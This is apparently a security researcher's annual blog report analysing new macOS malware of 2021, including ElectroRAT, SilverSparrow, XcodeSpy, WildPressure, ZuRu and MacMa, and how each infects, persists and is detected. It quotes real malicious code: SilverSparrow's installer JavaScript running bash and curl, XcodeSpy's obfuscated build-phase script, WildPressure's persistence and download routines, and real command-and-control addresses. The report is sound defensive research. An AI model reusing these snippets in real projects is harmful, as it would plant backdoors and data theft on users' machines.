MacMalware 2021
MacMalware 2021
Objective-See's research, tools, and writing, are supported by the "Friends of Objective-See" such as:
All samples covered in this post are available in our malware collection.
Printable
A printable (PDF) version of this report can be downloaded here:
Background
Goodbye, and good riddance 2021 …and hello 2022!
For the sixth year in a row, I’ve put together a blog post that comprehensively covers all the new Mac malware that appeared during the
course of the year.
While the specimens may have been reported on before (i.e. by the AV company that discovered them), this blog aims to cumulatively and
comprehensively cover all the new Mac malware of 2021 - in one place …yes, with samples of each malware available for download!
After reading this blog post, you should have a thorough understanding of recent threats targeting macOS. This is especially important as
Apple continues to make significant inroads into the enterprise:
Apple in the Enterprise
In this blog post, we focus on new Mac malware specimens or significant new variants that appeared in
2021. Adware and/or malware from previous years, are not covered.
However at the end of this blog, I’ve included a section dedicated to these other threats, that
includes a brief overview, and links to detailed write-ups.
For each malicious specimen covered in this post, we’ll identify the malware’s:
Infection Vector:
How it was able to infect macOS systems.
Persistence Mechanism:
How it installed itself, to ensure it would be automatically restarted on reboot/user login.
Also, for each malware specimen, I’ve added a direct download link to the malware specimen, case you want to follow along with my
analysis or dig into the malware more!
ProcessMonitor
My open-source utility that monitors process creations and terminations, providing detailed information about such events.
FileMonitor
My open-source utility that monitors file events (such as creation, modifications, and deletions) providing detailed information about
such events.
WhatsYourSign
My open-source utility that displays code-signing information, via the UI.
Netiquette
My open-source light weight network monitor.
lldb
The de-facto commandline debugger for macOS. Installed (to /usr/bin/lldb) as part of Xcode.
Hopper Disassembler
A “reverse engineering tool (for macOS) that lets you disassemble, decompile and debug your applications” …or malware specimens!
very topic:
ElectroRAT
01/2021
SilverSparrow
02/2021
XcodeSpy
03/2021
ElectrumStealer
03/2021
WildPressure
06/2021
XLoader
07/2021
ZuRu
09/2021
Spread via malicious sponsored search results,
exfiltrates extensive survey data, before installing a
Cobalt Strike agent.
MacMa
11/2021
OSX.ElectroRAT
ElectroRAT is a cross-platform remote “administration” tool (RAT), designed to steal information from
cryptocurrency users.
"we discovered a wide-ranging operation targeting cryptocurrency users, estimated to have initiated in January 2020. This
extensive operation is composed of a full-fledged marketing campaign, custom cryptocurrency-related applications and a
new Remote Access Tool (RAT) written from scratch."
[its main goal appears to] ...steal personal information from cryptocurrency users" -Intezer
Writeups:
“Discharging ElectroRAT”
“Operation ElectroRAT: Attacker Creates Fake Companies to Drain Your Crypto Wallets”
In terms of its infection vector, Intezer noted the use of trojanized/fake crypto currency applications :
"These [malicious] applications were promoted in cryptocurrency and blockchain-related forums such as bitcointalk and
SteemCoinPan. The promotional posts, published by fake users, tempted readers to browse the applications’ web pages,
where they could download the application without knowing they were actually installing malware." -Intezer
eTrader app, containing ElectroRAT
eTrader app, containing ElectroRAT
If the user is tricked into downloading and running the application, they will inadvertently infect themselves with ElectroRAT.
The malware is found within the trojanized application bundle, as a binary named mdworker
eTrader app, containing ElectroRAT
Via a ProcessMonitor, we see that the trojanized application (whose pid is 1350) will execute this mdworker binary (via bash):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
...
"uid" : 501,
"arguments" : [
"/bin/sh",
"-c",
"/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker"
],
"ppid" : 1350,
"architecture" : "Intel",
"path" : "/bin/sh",
"name" : "sh",
"pid" : 1355
}
}
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
"file" : {
"destination" : "/Users/user/Library/LaunchAgents/mdworker.plist",
"process" : {
"uid" : 501,
"arguments" : [
"/bin/sh",
"-c",
"/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker"
],
"ppid" : 1350,
"architecture" : "Intel",
"path" : "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker",
"name" : "mdworker",
"pid" : 1351
}
}
}
The launch agent plist (mdworker.plist) references a .mdworker binary, which is a copy of the Utils/mdworker binary (aka the
malware):
% cat ~/Library/LaunchAgents/mdworker.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>mdworker</string>
<key>ProgramArguments</key>
<array>
<string>/Users/user/.mdworker</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
As the RunAtLoad is set to true the OS will automatically (re)launch the malware each time the user (re)logs in.
In a Twitter thread, Avigayil (the security researcher at Intezer) notes that the malware first “queries a raw pastebin page to retrieve the C&C
IP address":
Avigayil Mechtinger @AbbyMCH · Jan 5, 2021
[1/7] Operation #ElectroRAT is a new campaign that takes sizable
measures to steal crypto wallets. For more information about the
operation - intezer.com/blog/research/…
Avigayil Mechtinger
@AbbyMCH
Read 2 replies
Via Wireshark, we can confirm the macOS variant of ElectroRAT performs these same actions. First querying pastebin:
…and then once the address of the command and control server (213.226.100.140) is retrieved, connects out (with some basic
information about infected machine):
Once the malware has checked in with the command and control server, it acts upon any (remote) tasking:
Avigayil Mechtinger @AbbyMCH · Jan 5, 2021
Replying to @AbbyMCH
[4/7] The malware sends a GET request to the C&C with the
victim’s machine ID as a parameter. ElectroRAT, then changes the
communication protocol between the C&C and RAT to WebSocket.
Next, the malware keeps alive WebSocket communication and waits
for a command from the C&C.
Avigayil Mechtinger
@AbbyMCH
Read 1 reply
"The attacker uses go-bindata to embed additional binaries within the malware"
In my write-up on the macOS variant of ElectroRAT, I describe how to extract these embedded binaries.
./darwinCam -h
Via embedded strings, we can determine that the darwinChrome was packaged up with PyInstaller. As such can use the
pyinstxtractor utility, to extract (unpackage) its contents:
This produces several files including a compiled Python file, Apple.pyc. Via an online decompiler we can then recover
Apple.pyc’s Python source code, and reveal that is is a Chrome password stealer.
This binary appears to be a basic macOS keylogger based on the open-source Swift-Keylogger project (that (ab)uses
IOHIDManagerCreate / IOHIDManagerRegisterInputValueCallback).
This binary appears to the well known OSXvnc, a “robust, full-featured VNC server for MacOS X":
./darwinVnc -h
Available options:
ElectroRAT also supports a variety of built-in standard backdoor capabilities …such command execution, file upload/download and
more. We can see the functions that implement this logic within the malware’s binary, by searching for “main.":
built-in capabilities
...it has various capabilities such as keylogging, downloading files and executing commands on the victim's console."
OSX.SilverSparrow
Compiled to natively execute on Apple Silicon (M1/arm64), this payload-less malware, affected
approximately 30,000 Macs.
Red Canary
@redcanary
Read 8 replies
Writeups:
The noted mac malware analyst Thomas Reed, articulates this well:
"We know that the malware was installed via Apple installer packages (.pkg files) named update.pkg or updater.pkg.
However, we do not know how these files were delivered to the user"
Interestingly, as noted the Red Canary researchers, these .pkg files leverage “the macOS Installer JavaScript API to execute suspicious
commands”
We can expand the .pkg file, then view this JavaScript (found in the .pkgs Distribution XML):
% cat SilverSparrow/expandedPKG/Distribution
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<installer-gui-script minSpecVersion="1">
<pkg-ref id="updater.pkg">
<bundle-version>
<bundle CFBundleShortVersionString="1.0" CFBundleVersion="1"
id="com.tasks.updater" path="updater.app"/>
</bundle-version>
</pkg-ref>
<!-- <welcome file="readme.html"/> -->
...
<installation-check script="installation_check()"/>
<script><![CDATA[
function installation_check () {
function bash(command) {
system.run('/bin/bash', '-c', command)
}
...
bash(`mkdir ${updaterDir}`)
bash(`/usr/bin/curl ${url} > /tmp/version.json`)
bash(`touch /tmp/version.plist`)
bash(`touch ${updaterMonitorPath}`)
bash(`plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`)
When executed, the malicious JavaScript code (shown above) would run, and persistently install the malware.
The code that persists the malware can be found in the package’s Distribution file, specifically in a function, aptly named, createAgent
(that leverages macOS’s PlistBuddy utility):
% cat SilverSparrow/expandedPKG/Distribution
function createAgent() {
bash(`/usr/libexec/PlistBuddy -c
"Add :Label string ${initAgentLabel}" ${initAgentPath};`)
bash(`/usr/libexec/PlistBuddy -c
"Add :RunAtLoad bool true" ${initAgentPath};`)
bash(`/usr/libexec/PlistBuddy -c
"Add :StartInterval integer 3600" ${initAgentPath};`)
bash(`/usr/libexec/PlistBuddy -c
"Add :ProgramArguments array" ${initAgentPath};`)
bash(`/usr/libexec/PlistBuddy -c
"Add :ProgramArguments:0 string '/bin/sh'" ${initAgentPath};`)
bash(`/usr/libexec/PlistBuddy -c
"Add :ProgramArguments:1 string -c" ${initAgentPath};`)
bash(`/usr/libexec/PlistBuddy -c
'Add :ProgramArguments:2 string
\"~/Library/Application\\\\ Support/${agentLabel}_updater/${agentLabel}.sh\"
${ts} ${data.dls} 1' ${initAgentPath};`)
}
Once the Launch Agent has been installed, every hour (due to the StartInterval:3600), the item specified in the Launch Agent plist
will be executed.
The Red Canary researchers note this persisted item is a shell script that, “downloads a JSON file to disk, converts it into a plist, and uses
its properties to determine further actions.”
Capabilities: Unknown
Though SilverSparrow was found affecting roughly 30,000 macOS systems, no second payload was uncovered:
"...After observing the malware for over a week, neither we nor our research partners observed a final payload, leaving the
ultimate goal of Silver Sparrow activity a mystery" -Red Canary
However, one reasonable guess is the malware would simply download and install adware, based on values seen a downloaded
versions.json file:
"The args value in the data from the command and control server (upbuchupsf) looks similar to an affiliate code, often used
by adware." -Thomas Reed
…of course, it’s worth pointing out that the payload could be anything!
OSX.XcodeSpy
Spreading via malicious Xcode projects, this malware installs a custom variant of the EggShell
backdoor.
In March, SentinelOne security researcher Phil Stokes published a write-up on XcodeSpy, and noted its (ab)use of Xcode projects as a
means to target and surreptitiously infect developers.
Writeups:
XcodeSpy Malware
“New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor”
Arguable the most interesting aspect of XcodeSpy is its infection vector: subverted Xcode Projects.
The XcodeSpy stealthily modified a copies of various open-source Xcode projects, by inserting a malicious (and obfuscated) Run Script:
$ cat project.pbxproj
/* Begin PBXShellScriptBuildPhase section */
25CC3805250133BA0078D705 /* ShellScript */ = {
isa = PBXShellScriptBuildPhase;
...
shellPath = /bin/sh;
shellScript = "# Type a script or drag a script file from your workspace to
insert its path.\n#\n#\n#\nhj='/ww';rc='dbc';xmb='mp/';wgb='e/t';lhb='me/';
deb=' /d';kbb='ev.';og=' 0>';uu='pri';ekb='ev/';odb='ech';qs='&';bs='ash'
;pm='&1 ';zf='.ta';ip='w.c';gd='tcp';cy=' &>';to='> /';vab='vat';si='md
';jv='ral';am='g;b';pjb='o m';n='443';
eval \"$odb$pjb$rc$si$to$uu$vab$wgb$xmb$zf$am$bs...$n$og$pm$qs\"\n";
};
…if the project is downloaded and built by an unsuspecting developer, the script will be run, and the malware installed!
"The [Xcode run] script contacts the attackers' C2 and drops a custom variant of the EggShell backdoor on the
development machine. The malware installs a user LaunchAgent for persistence."
Capabilities: Backdoor
XcodeSpy installs the well known, open-source Eggshell backdoor. From its README.md file:
"EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra
functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading
files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges,
password retrieval, and much more."
…with this fully-featured backdoor installed, clearly an infected Mac is almost completely under the control of a remote attacker.
In this writeup, Phil notes that the EggShell variant used by XcodeSpy is fairly standard, though it does deviate slightly, by using its
“own custom data encoding and keylogging methods.”
EggShell keylogger detected (via ReiKey)
OSX.ElectrumStealer
In March, security researcher Taha T of Confiant uncovered malicious application, (inadvertently) notarized by Apple:
ConfiantIntel
@ConfiantIntel
Signed with :
Read 3 replies
MalwareBytes, noted,
"OSX.ElectrumStealer is a trojanized Electrum Wallet that tries to steal cryptocurrencies from the infected systems."
-MalwareBytes
Writeups:
“OSX.ElectrumStealer”
“How to extract Python source code from Py2App packed Mach-O Binaries (ElectrumStealer)"
In a tweet, Confiant noted the malware’s initial infection vector: malicious ads:
ConfiantIntel
@ConfiantIntel
Read 2 replies
"These fake wallets were introduced during a Malvertising attack our security team discovered early this week, involving the
hacking of a Major SSP. The hackers redirected the victims to https://electrum-4.github[.]io/ asking them to install an update
of the electrum wallet." -Confiant
In their brief write-up on ElectrumStealer Malwarebytes describes another apparent infection vector:
"OSX.ElectrumStealer is spread sending an error message in the form of a prompt for a 'required update' to the nodes
connected to the threat actors server(s) on the Electrum network." -Malwarebytes
OSX.ElectrumSteal fake update prompt (credit: Malwarebytes)
Persistence: None(?)
This is perhaps unsurprising as the malware’s goal is exfiltrate (crypto-currency) wallets and wallets' passwords. As this code is triggered
each time the trojanized wallet application is launched by the user, persistence is perhaps not-needed!
The goal of ElectrumStealer is simply to steal infected user’s crypto-currency wallets and wallet passwords. In a series of tweets
Confiant described exactly how this is achieved.
First, they note that the core of the malicious code is a function innocuously named prefix_log. This function will exfiltrate passed in
data to the remote attackers.
Confiant then goes on to show that this exfiltration function is invoked at various places within the trojanized wallet application. For
example, in the WalletStorage constructor to exfiltrate the wallet:
A call to prefix_log() will exfiltrate the wallet (credit: Confiant)
The prefix_log exfiltration function is also inserted at locations in the trojanized wallet application, such that wallet passwords can be
exfiltrated as well (for example in the decrypt function):
Other calls to prefix_log() will exfiltrate the wallet password (credit: Confiant)
…end result, the user’s wallet and password will now belong to the attacker!
WildPressure is a cross-platform Python backdoor, targeting mainly users in the Middle East.
The malware was discovered by Kasperksy researchers, in early July. In a write-up titled, “WildPressure targets the macOS platform,” the
researchers noted:
"...the most interesting finding here is that this malware was developed for both Windows and macOS operating systems" -
Kaspersky
1 class OSType:
2 Windows = "Windows"
3 OSX = "Darwin"
4 Linux = "Linux"
Writeups:
"...we have very limited visibility for the samples described in this report" -Kaspersky
"Based on our telemetry, we suspect that the targets in the same Middle East region were related to the oil and gas
industry." -Kaspersky
…thus it appears attacks (and infections) are likely both targeted and limited.
The core component of the malware is written in Python, making it fairly easily to analyze. For example, we can see it will persist as a launch
agent (com.apple.pyapple.plist) to ensure that it is automatically restarted each time the user logs in:
1 #osx const
2 PLIST_FILE_NAME = "com.apple.pyapple.plist"
3
4 def add_startup(self, file_path):
5 ...
6 plist = base64.b64decode(self.plist_base64)
7 plist = plist.replace('[pyscript]' , file_path )
8 if(not os.path.exists( os.path.join(os.environ['HOME'],'Library','LaunchAgents'))):
9 os.mkdir(os.path.join(os.environ['HOME'],'Library','LaunchAgents'))
10 fplist = open(self.path_plist,'w+' )
11 fplist.write(plist)
12 fplist.close()
Of course as is the case with other persistence events, BlockBlock, will detect this:
Capabilities: Backdoor
WildPressure supports a variety of commands, commonly found in backdoors. The supported commands are stored in the
CommandsEnum class:
1 class CommandsEnum:
2 Nothing = 1
3 Execution = 2
4 Download = 3
5 Update = 4
6 Cleanup = 5
7 Upload = 6
8 RuntimeCMDConfig = 7
9 SystemInfo = 8
From their names, it easy to see that WildPressure affords a remote attacker complete control over an infected system (plus the ability
to upload/execute additional payloads).
As the backdoor is cross-platform, some of these commands contain platform-specific logic, for example on macOS, the SystemInfo is
set to SystemInfo_OSX:
1
2 ...
3 elif(osType == OSType.OSX):
4 self.dict_commands[CommandsEnum.SystemInfo] = SystemInfo_OSX()
5
6 ...
7 class SystemInfo_OSX(ICommand):
8 ...
9
10 def execute(self):
11 osversion = platform.mac_ver()
12
13 splitter = "###"
14 os_info =platform.node() \
15 + splitter + 'MacOSX ' + osversion[0] + ' release:'+ platform.release() \
16 + splitter + platform.version() \
17 + splitter + platform.machine()
18
19 result = os_info
20
21 try:
22 anti_info_name = "unknown"
23 try:
24 anti_info_name = CrossPlatformTools.get_antivirus_applications()
25 except Exception as e:
26 pass
27 anti_info_state_num = 0
28 result = result + splitter + anti_info_name
29 + splitter + str(anti_info_state_num)
30 except Exception as e:
31 pass
32
33 CommandResult.is_error = False
34 CommandResult.result = result
35 CommandResult.cmd = ''
…interesting to note that that the malware, as part of the system information, attempts to enumerate installed anti-virus programs (via the
get_antivirus_applications function).
The other commands are implemented in fairly standard manners. For example, here’s the core of the “Download” command:
1 ...
2 file_path = self.crypto.decrypt(self.cmd_args.cmd.f).decode('utf-8')
3 file_path = os.path.expandvars(file_path)
4
5 file_content = self.crypto.decrypt(self.cmd_args.cmd.c)
6
7 file = open(file_path, 'wb')
8 file.write(file_content)
9 file.close()
Easy to see its decrypting both the file’s path and contents (received from the C&C server), before writing it out to disk using the standard
Python file I/O APIs.
XLoader
XLoader is a cross-platform “Malware as a Service” that aims to steal passwords from infected users.
Apparently the progeny, or evolution of the malware known as FormBook, researchers discovered the cross-platform XLoader for sale on
underground forums:
"In one of our recent researches, we found that Formbook, one of the most prevalent data stealers, is now sold in the
underground forum under a new name, XLoader, and has new capabilities that enable it to operate in macOS." -Checkpoint
Writeups:
“Malware as a Service” normally puts the onus of infection on the buyer. Thus, those that purchase XLoader would be responsible for
infection users.
However, SentinelOne, who also analyzed XLoader, notes that a variant which is packaged up in a .jar file may have been spread via
phishing (or as attached to an email):
"The .jar file appears to be distributed as an attachment in a phishing lure, such as in this document Statement SKBMT
09818.jar." -SentinelOne
XLoader will persist itself as a launch agent, though the name of its launch agent property list will be randomized:
"The label for the LaunchAgent ...[is] randomized and vary from execution to execution." -SentinelOne
As the RunAtLoad key is set to 1 (true), macOS will automatically start the binary (the malware), specified in the ProgramArguments
array.
XLoader’s main goal is steal passwords from infected systems. However, Checkpoint researchers who also analyzed the malware, also
noted it supports the following commands:
Of course the download and execute capability means that the malware can update itself, install other tools, or other malware.
The password recovery appears to be limited to browser passwords, and only those of Firefox and Chrome.
"XLoader opens the file '/Library/Application Support/Firefox/Profiles/[prfile_name]/logins.json'. XLoader decrypts the data
from the 'logins.json' files using the function 'PK11SDR_Decrypt' from the 'libnss3.dylib' library."
Somewhat similarly, XLoader parses Chrome’s stored passwords (from its database stored in its “Login Data” directory). Once the
decryption for these keys is recovered (from said database), XLoader uses open SSL to decrypt the passwords.
To exfiltrate the recovered passwords, researchers noted that, “_XLoader uses the HTTP protocol and sends data using GET or POST
requests…”
OSX.ZuRu
ZuRu spreads via malicious sponsored search results, the exfiltrates extensive survey data, before
installing a Cobalt Strike agent.
In September, users in China noticed that the Chinese search engine Baidu, was serving up sponsored ads which would lead to malicious
websites (mirroring popular applications) that serve up trojanized applications.
Writeups:
“感谢信!感谢百度搜索的推⼴让我被钓⻥中毒了⼀次”
The Chinese researcher who first uncovered the malware posted the following image:
Malicious sponsored search results, leading to ZuZu (credit: 潘⼩潘)
The image shows sponsored search results, when a user searches for the popular iTerm application. Unfortunately the ad points to a
malicious site, that mirrors the legitimate iTerm website, but hosts a trojanized version:
The malicious website, appears to offer a legitimate version of iTerm
If the user downloads and runs what they believe is a legitimate copy of iTerm from the malicious copy-cat site, they will be infected.
Persistence: Unknown
Once run, the malware downloads two subsequent payloads. Both are described in more details, but the first is simply a survey script, while
the second is appears to be Cobalt Strike agent.
Though neither was observed persisting, the later, the Cobalt Strike agent, perhaps could be instructed to persist once it checks in with the
Cobalt Strike Server.
Also, it’s worth noting that perhaps persistence is not needed, as the malware will be automatically re-run each time the trojanized iTerm
application is launched.
As noted, when executed, ZuRu downloads and executes two additional payloads:
We can passively observe the execution of these payloads via my open-source ProcessMonitor:
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 501,
"arguments" : [
"python",
"/tmp/g.py"
]
}
}
...
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"signing info (computed)" : {
"signatureStatus" : -67062
},
"uid" : 501,
"arguments" : [
"/tmp/GoogleUpdate"
],
"path" : "/private/tmp/GoogleUpdate",
"name" : "GoogleUpdate"
}
}
The Python script, g.py performs a comprehensive survey of the infected system. It then zips this up before exfiltrating it. If we allow the
script to run, we can then grab and extract the zip to see exactly what is in the survey:
Looks like it includes the infected system’s keychain, bash history, hosts, and more:
% cat tmp/tmp.txt
获取操作系统名称及版本号 : [Darwin-19.6.0-x86_64-i386-64bit]
获取操作系统版本号 : [Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00 PDT 2020;
root:xnu-6153.141.1~1/RELEASE_X86_64]
获取操作系统的位数 : [('64bit', '')]
计算机类型 : [x86_64]
计算机的⽹络名称 : [users-mac.lan]
计算机处理器信息 : [i386]
获取操作系统类型 : [Darwin]
汇总信息 : [('Darwin', 'users-mac.lan', '19.6.0', 'Darwin Kernel Version 19.6.0: Thu Jun
18 20:49:00 PDT 2020; root:xnu-6153.141.1~1/RELEASE_X86_64', 'x86_64', 'i386')]
程序列表 : []
hosts⽂件 : [##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
]
当前⽤户名 : user
test : [[u'Desktop', u'Documents', u'Downloads', u'Library', u'Movies', u'Music',
u'Pictures', u'Public']]
Once the Python script has completed surveying the infected host, it exfiltrates it via curl to the same IP address (47.75.123.111). A
3rd-party firewall, such as LuLu should alert you about exfiltration attempt:
The second payload is a is a Mach-O binary named GoogleUpdate. When executed, it attempts to connect to 47.75.96.198 (on
port 443). We can observe this connection via Netiquette:
According to VirusTotal, this IP address was found to be a Cobalt Strike Server:
…thus it is likely that this binary in merely a Cobalt Strike agent (beacon).
OSX.MacMa (OSX.CDDS)
In November, researchers from Google published an intriguing report, that detailed a sophisticated watering hole campaign drops a new
macOS implant via 0day/nday exploits.
Writeups:
“Google Caught Hackers Using a Mac Zero-Day Against Hong Kong Users”
“OSX.CDDS (OSX.MacMa): a Sophisticated Watering Hole Campaign drops a new macOS Implant!"
Google’s Threat Analysis Group (TAG), published the initial report on the MacMa.
In this report, they detailed a highly targeted attack that leveraged both iOS and macOS exploits in order to remotely infect Apple users. As
they were not able to recover the full iOS exploit chain, the write-up focused almost fully on the macOS version of the attack which
leveraged:
As the RunAtLoad key is set to true the specified binary (the MacMa backdoor)
~/Library/Preferences/UserAgent/lib/UserAgent will be persistently executed by macOS each time the user logs in.
…and if we analyze the submission meta-data, we can see it was originally submitted to VirusTotal by
a user, via one of my Objective-See tools (which integrate with VirusTotal)! How freaking cool!?
Capabilities: Backdoor
The MacMa malware, is fully featured backdoor, which drops additional helper tools, plus directly implements a myriad of features.
% ./at
uuid=564D028C-69EF-7793-5BD9-8CC893CB8C8D
userName=user
version=Version 10.15.6 (Build 19G2021)
equipmentType=VMware7,1
mac=00:0c:29:cb:8c:8d
ip=
diskFreeSpace=11251048448/42605699072
availableMemory=2098040832/2147483648
cpu_info=Intel(R) Core(TM) i7-8559U CPU @ 2.70GHz
A quick triage of this binary reveals it’s a simple keylogger that leverages Core Graphics Event Taps to intercept user keystrokes:
To determine the capabilities supported by MacMa we can extract strings in the format <number>CDDS, as these show the requests the
implant supports (from a remote C&C server):
“24CDDSScreenCaptureRequest”
“28CDDSAutoScreenCaptureRequest”
“21CDDSScreenCaptureInfo”
“33CDDSScreenCaptureParameterRequest”
“19CDDSFileInfoRequest”
“12CDDSFileInfo”
“18CDDSDirInfoRequest”
“11CDDSDirInfo”
“17CDDSZipDirRequest”
“21CDDSZipDirRequestInfo”
“22CDDSExecuteFileRequest”
“19CDDSTerminalConnect”
“22CDDSTerminalDisConnect”
“17CDDSTerminalInput”
“18CDDSTerminalOutput”
“20CDDSUninstallRequest”
“20CDDSClearDataRequest”
“10CDDSCmdAck”
“18CDDSReqMacBaseInfo”
“15CDDSMacBaseInfo”
“18CDDSReqMacFileList”
“15CDDSMacFileList”
“20CDDSMacFileListReply”
“20CDDSReqMacSearchFile”
“17CDDSMacSearchFile”
“22CDDSMacSearchFileReply”
“21CDDSStopMacSearchFile”
“20CDDSReqMacDeleteFile”
“20CDDSReqMacFileSystem”
“17CDDSBaseInfoReply”
“14CDDSReqMacTree”
“13CDDSDriveInfo”
…based off these tasking strings, it’s clear to see MacMa supports a myriad of features!
As such, here I’ve include a list (and links to detailed writeups) of other notable items from 2021, for the interested reader.
OSX.OSAMiner
(included here, as it was first analyzed in 2021)
In January, SentinelOne researcher Phil Stokes published in in depth analysis of a crypto-currency miner, dubbed OSXMiner.
Phil noted that although active for a least five years, the malware had resisted analysis, “due to its use of multiple run-only
AppleScripts”
The writup is a must read, not so much for the details of the malware (crypto-miners aren’t all that interesting), but rather as Phil
comprehensively discusses how analyze run-only AppleScripts!
Writeup:
“FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts”
OSX.Pirrit
(included here, as it was first malicious code to natively target M1/Apple Silicon)
In February, I uncovered the first malicious code that was compiled natively to target Apple Silicon (aka M1): a new variant of the
prolific Pirrit adware.
In order to run natively on the M1 arm-based CPU, the developers compiled the adware into a universal binary, containing both Intel
and arm64 code:
$ file GoSearch
GoSearch: Mach-O universal binary with 2 architectures:
[x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]
…which means, as malware analysis, we must (now) understand how to read arm(64) disassembly, for example to uncover the
adware’s anti-analysis logic:
For more information on reversing malicious code compiled to run natively on Apple Silicon
(read: arm64), see my whitepaper on the topic:
Writeup:
“Arm’d & Dangerous: Malicious Code, now native on Apple Silicon”
OSX.Convuster
(included here, as it is new adware)
In April, a twitter user Colin (@th3_protoCOL), posted information about a Cobalt Strike agent, packed (via UPX) and packaged as
Mach-O binary:
Colin
@th3_protoCOL
Read 2 replies
OSX.Hydromac
(included here, as it is new adware)
In June, Taha Karim (@lordx64) of Confiant detailed a new adware specimen, OSX.Hydromac:
OSX.Hydromac Adware
Writeup:
“OSX/Hydromac: New Mac adware, leaked from a flashcards app”
OSX.UpdateAgent / OSX.WizardUpdate
(included here, it appears to be a new variant)
In October, via a tweet, Microsoft Researchers provided some insight in the latest variant of OSX.UpdateAgent which installs
various adware (such as Adload):
Read 6 replies
OSX.GreenLambert / OSX.DoubleFantasy
(included here, as they were first analyzed in 2021)
In October at v4.0 of the macOS security conference, “Objective by the Sea” Runa Sandvik (@runasand) and myself presented
details on two US government macOS implants: GreenLambert and DoubleFantasy.
Writeup:
“Made In America: Analyzing US Spy Agencies' macOS Implants”
Detections
New malware is notoriously difficult to detect via traditional signature-based approaches …as, well, it’s new! A far better approach is to
leverage heuristics or behaviors, that can detect such malware, even with no a priori knowledge of the specific (new) threats.
For example, imagine you open an Office Document that (unbeknownst to you) contains an exploit or malicious macros which installs a
persistent backdoor. This is clearly an unusual behavior, that should be detected and alerted upon.
Good news, Objective-See’s free macOS security tools do not leverage signatures, but instead monitor for such (unusual, and likely
malicious) behaviors.
This allows them to detect and alert on various behaviors of all the new malware of 2021 (with no prior knowledge of the malware).
For example, let’s look at how MacMa the (likely nation-state) implant deployed via exploits, was detected by our free tools:
First, BlockBlock detects MacMa’s attempt at persistence …specifically when it executes cp to create a launch item:
BlockBlock's alert
LuLu, our free, open-source firewall detects when the implant first attempts to beacon out to its command and control server to check-in
and ask for tasking:
LuLu's alert
And if you’re worried that you are already infected? KnockKnock can uncover the malware’s persistence (after the fact):
KnockKnock's detection
Objective-See's Tools.
Conclusion:
Well that’s a wrap! Thanks for joining our “journey” as we wandered through the macOS malware of 2021.
With the continued growth and popularity of macOS (especially in the enterprise!), 2022 will surely bring a bevy of new macOS malware.
…so, stay safe out there!
very topic: